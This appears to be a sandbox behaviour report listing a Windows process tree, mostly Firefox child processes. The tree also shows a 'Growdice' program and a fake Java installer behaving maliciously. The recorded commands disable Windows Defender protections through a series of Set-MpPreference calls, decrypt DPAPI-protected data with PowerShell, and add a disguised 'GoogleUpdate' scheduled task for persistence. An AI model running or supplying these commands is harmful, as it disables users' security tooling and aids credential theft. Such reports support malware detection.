    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.21.1734789283\1927857929" -childID 20 -isForBrowser -prefsHandle 9332 -prefMapHandle 4268 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3abd5c04-7737-4ab4-ab19-7077a2545a29} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 3024 1b4e868c558 tab
    3⤵
    PID:6964
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.22.947060246\1563727119" -childID 21 -isForBrowser -prefsHandle 7720 -prefMapHandle 8216 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {35a0ac10-5343-4409-b5ce-48b982941f39} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 7712 1b4ec2f0758 tab
    3⤵
    PID:2516
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.23.623699891\652494471" -childID 22 -isForBrowser -prefsHandle 9640 -prefMapHandle 3056 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fed24afe-7e9d-46ae-9a89-c72166cf8bf4} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 7696 1b4ec2f1658 tab
    3⤵
    PID:5388
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.24.715971390\17229721" -childID 23 -isForBrowser -prefsHandle 8116 -prefMapHandle 9168 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {852e1591-1a2b-42d7-804b-0fcd27d47bd9} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 5536 1b4ec2f2558 tab
    3⤵
    PID:5172
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.25.1232003591\586086182" -childID 24 -isForBrowser -prefsHandle 3816 -prefMapHandle 8436 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a9a5caa3-700c-4a32-9120-2f2a6a8c20ac} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 9776 1b4cad5e258 tab
    3⤵
    PID:1308
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.26.1423032319\545287416" -childID 25 -isForBrowser -prefsHandle 9192 -prefMapHandle 9188 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {57adcc53-d69a-4622-a869-8df14e0c21e5} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 9728 1b4cad6dc58 tab
    3⤵
    PID:5732
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.27.1517453511\222894045" -childID 26 -isForBrowser -prefsHandle 7332 -prefMapHandle 7328 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9e6b1c51-f25e-4c09-bc27-4465d98e6c81} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 7340 1b4e444be58 tab
    3⤵
    PID:1620
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.28.807112175\973137157" -childID 27 -isForBrowser -prefsHandle 9528 -prefMapHandle 9080 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0a715709-b567-4777-8634-e306a4a731f7} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 5204 1b4e38d0558 tab
    3⤵
    PID:5604
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.29.802867292\557876562" -childID 28 -isForBrowser -prefsHandle 9176 -prefMapHandle 4892 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c84fa86e-8c69-4dcd-b5e8-351a3bff1857} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 9792 1b4ecec0e58 tab
    3⤵
    PID:6124
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.30.2099499293\1515679723" -childID 29 -isForBrowser -prefsHandle 6944 -prefMapHandle 5996 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8366fa66-60f8-41a4-850d-b73b82c194d5} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 6936 1b4eaf05d58 tab
    3⤵
    PID:6524
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.31.833872676\1512701627" -childID 30 -isForBrowser -prefsHandle 5380 -prefMapHandle 8172 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {635da04c-0154-4d0a-818e-30b8cfeb4e21} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 5192 1b4eaf06958 tab
    3⤵
    PID:2856
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.32.954042083\1884075288" -childID 31 -isForBrowser -prefsHandle 6936 -prefMapHandle 6716 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2c7936cd-4cd5-4ab7-8e17-827b3d95e844} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 9332 1b4e6e68858 tab
    3⤵
    PID:1596
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.33.87423393\1124890775" -childID 32 -isForBrowser -prefsHandle 8104 -prefMapHandle 8108 -prefsLen 29804 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4041010-bcf5-417a-a2d6-03b2aabd98af} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 6600 1b4e960b658 tab
    3⤵
    PID:6808
- - C:\Users\Admin\Downloads\GrowtopiaInstaller.exe
    "C:\Users\Admin\Downloads\GrowtopiaInstaller.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1624
  - - C:\Users\Admin\AppData\Local\Growtopia\vc_redist.x64.exe
      C:\Users\Admin\AppData\Local\Growtopia\vc_redist.x64.exe
      4⤵
      Executes dropped EXE
      PID:8
    - - C:\Users\Admin\AppData\Local\Growtopia\vc_redist.x64.exe
        
        "C:\Users\Admin\AppData\Local\Growtopia\vc_redist.x64.exe" -burn.unelevated BurnPipe.{2438C1BB-5D76-4DC8-980F-A8A4AAA0EEAA} {0A2050BD-143F-4346-B6BF-AFDA69BD80F2} 8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6388
  - - C:\Users\Admin\AppData\Local\Growtopia\Growtopia.exe
      "C:\Users\Admin\AppData\Local\Growtopia\Growtopia.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:7096
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.34.1024266262\1616864012" -childID 33 -isForBrowser -prefsHandle 1716 -prefMapHandle 9808 -prefsLen 30030 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b49544d0-de4e-451f-a700-7d2b88ae0fe1} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 6272 1b4e705a558 tab
    3⤵
    PID:4880
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.35.546167431\985487457" -childID 34 -isForBrowser -prefsHandle 6704 -prefMapHandle 6792 -prefsLen 30030 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {30309fe4-5ce1-4559-b4ce-5ea4b19511ab} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 8432 1b4e8d5e158 tab
    3⤵
    PID:2952
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.36.1819562811\281725041" -childID 35 -isForBrowser -prefsHandle 6628 -prefMapHandle 6624 -prefsLen 30030 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f0fb109e-aec5-4d89-83d0-69014a2a280f} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 6788 1b4ec4d8f58 tab
    3⤵
    PID:5720
- - C:\Users\Admin\Downloads\python-3.12.4-amd64.exe
    "C:\Users\Admin\Downloads\python-3.12.4-amd64.exe"
    3⤵
    - Executes dropped EXE
    PID:4396
  - - C:\Windows\Temp\{D15EF619-5B83-4714-8835-2FA1D2197AE4}\.cr\python-3.12.4-amd64.exe
      "C:\Windows\Temp\{D15EF619-5B83-4714-8835-2FA1D2197AE4}\.cr\python-3.12.4-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.12.4-amd64.exe" -burn.filehandle.attached=616 -burn.filehandle.self=592
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:5436
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.37.1058957162\71573864" -childID 36 -isForBrowser -prefsHandle 9316 -prefMapHandle 5260 -prefsLen 30030 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b1e72573-1013-4f2a-95b6-132f1c16c66d} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 6596 1b4e900cd58 tab
    3⤵
    PID:6836
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.38.330603513\1942029893" -parentBuildID 20221007134813 -prefsHandle 6224 -prefMapHandle 6228 -prefsLen 30030 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33fbea69-acce-461a-9131-51c41c2a8540} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 6216 1b4e6ce7258 rdd
    3⤵
    PID:7612
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.39.1549740208\1333281648" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 8780 -prefMapHandle 8784 -prefsLen 30030 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd6e4880-668d-4c1f-884b-ca2db2bd833f} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 6104 1b4e6ce9f58 utility
    3⤵
    PID:7744
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.40.1993902002\175952149" -childID 37 -isForBrowser -prefsHandle 5960 -prefMapHandle 5964 -prefsLen 30030 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3745984b-d704-4304-b7e5-adafb172478f} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 5952 1b4e9b55d58 tab
    3⤵
    PID:6048
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.41.651716751\540416663" -childID 38 -isForBrowser -prefsHandle 6588 -prefMapHandle 9896 -prefsLen 30030 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {679e919b-284d-4134-87a9-b30015bab301} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 9792 1b4ea7eb958 tab
    3⤵
    PID:4696
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.42.396124051\1177133802" -childID 39 -isForBrowser -prefsHandle 10096 -prefMapHandle 6728 -prefsLen 30030 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b02c555c-08ae-4345-a936-03fbcb0539e9} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 10104 1b4e5de0658 tab
    3⤵
    PID:7304
- - C:\Users\Admin\Downloads\python-3.12.4-amd64.exe
    "C:\Users\Admin\Downloads\python-3.12.4-amd64.exe"
    3⤵
    - Executes dropped EXE
    PID:6160
  - - C:\Windows\Temp\{79F3CB9E-A170-4A21-9284-1439DC283AF9}\.cr\python-3.12.4-amd64.exe
      "C:\Windows\Temp\{79F3CB9E-A170-4A21-9284-1439DC283AF9}\.cr\python-3.12.4-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.12.4-amd64.exe" -burn.filehandle.attached=524 -burn.filehandle.self=532
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:7204

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x410
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1836

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1324

C:\Users\Admin\Downloads\Growdice\Growdice\JavaSetup8u401.exe
"C:\Users\Admin\Downloads\Growdice\Growdice\JavaSetup8u401.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3040
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5752
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v EpicGamesLauncher /f"
    3⤵
    PID:5888
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v EpicGamesLauncher /f
      4⤵
      PID:5976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5904
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:6004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,57,127,181,52,40,252,34,72,131,44,63,89,128,239,70,113,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,11,255,216,153,250,77,82,111,126,95,98,94,219,115,174,189,160,139,237,110,251,196,56,179,203,228,197,181,15,120,67,20,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,30,133,100,191,15,223,21,248,203,88,227,180,113,230,106,207,51,98,112,135,217,240,250,205,108,213,119,246,2,158,201,93,48,0,0,0,178,101,198,205,60,104,197,46,221,160,198,102,133,127,127,90,15,146,64,171,161,165,85,208,32,230,17,132,195,114,136,96,252,86,8,99,164,60,179,237,198,141,203,205,95,178,246,118,64,0,0,0,48,174,109,113,48,104,148,66,11,129,145,197,20,137,225,112,70,116,236,62,53,35,210,159,99,40,19,59,102,209,13,191,44,242,249,158,237,154,21,93,58,208,230,170,117,133,63,219,175,75,182,195,205,244,44,132,173,14,239,143,205,34,169,63), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    PID:5916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,57,127,181,52,40,252,34,72,131,44,63,89,128,239,70,113,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,11,255,216,153,250,77,82,111,126,95,98,94,219,115,174,189,160,139,237,110,251,196,56,179,203,228,197,181,15,120,67,20,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,30,133,100,191,15,223,21,248,203,88,227,180,113,230,106,207,51,98,112,135,217,240,250,205,108,213,119,246,2,158,201,93,48,0,0,0,178,101,198,205,60,104,197,46,221,160,198,102,133,127,127,90,15,146,64,171,161,165,85,208,32,230,17,132,195,114,136,96,252,86,8,99,164,60,179,237,198,141,203,205,95,178,246,118,64,0,0,0,48,174,109,113,48,104,148,66,11,129,145,197,20,137,225,112,70,116,236,62,53,35,210,159,99,40,19,59,102,209,13,191,44,242,249,158,237,154,21,93,58,208,230,170,117,133,63,219,175,75,182,195,205,244,44,132,173,14,239,143,205,34,169,63), $null, 'CurrentUser')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'"
    3⤵
    PID:1960
  - - C:\Windows\system32\cscript.exe
      cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'
      4⤵
      PID:3772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'" /sc minute /mo 10 /f"
    3⤵
    PID:4820
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo 'C:\Users\Admin\AppData\Roaming\Java\CheckEpicGamesLauncher.vbs'" /sc minute /mo 10 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3356
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Java" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1732 --field-trial-handle=1900,i,11116056298998669634,4426944706929040317,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5156
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Java" --mojo-platform-channel-handle=2032 --field-trial-handle=1900,i,11116056298998669634,4426944706929040317,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5268
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Java.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --user-data-dir="C:\Users\Admin\AppData\Roaming\Java" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1880 --field-trial-handle=1900,i,11116056298998669634,4426944706929040317,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:6428

C:\Users\Admin\Downloads\Growdice\Growdice\Growdice.exe
"C:\Users\Admin\Downloads\Growdice\Growdice\Growdice.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
PID:2832
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path=""
  2⤵
  - Executes dropped EXE
  PID:3920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4164

C:\Users\Admin\Downloads\Growdice\Growdice\Growdice.exe
"C:\Users\Admin\Downloads\Growdice\Growdice\Growdice.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Drops startup file
PID:6208
- C:\Users\Admin\AppData\Local\Temp\dcd.exe
  "C:\Users\Admin\AppData\Local\Temp\dcd.exe" -path=""
  2⤵
  - Executes dropped EXE
  PID:6284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  PID:6568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  PID:6592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:6632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  PID:6656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  PID:6748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  PID:6772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  PID:6828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
  PID:6868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  PID:6940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  PID:7020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
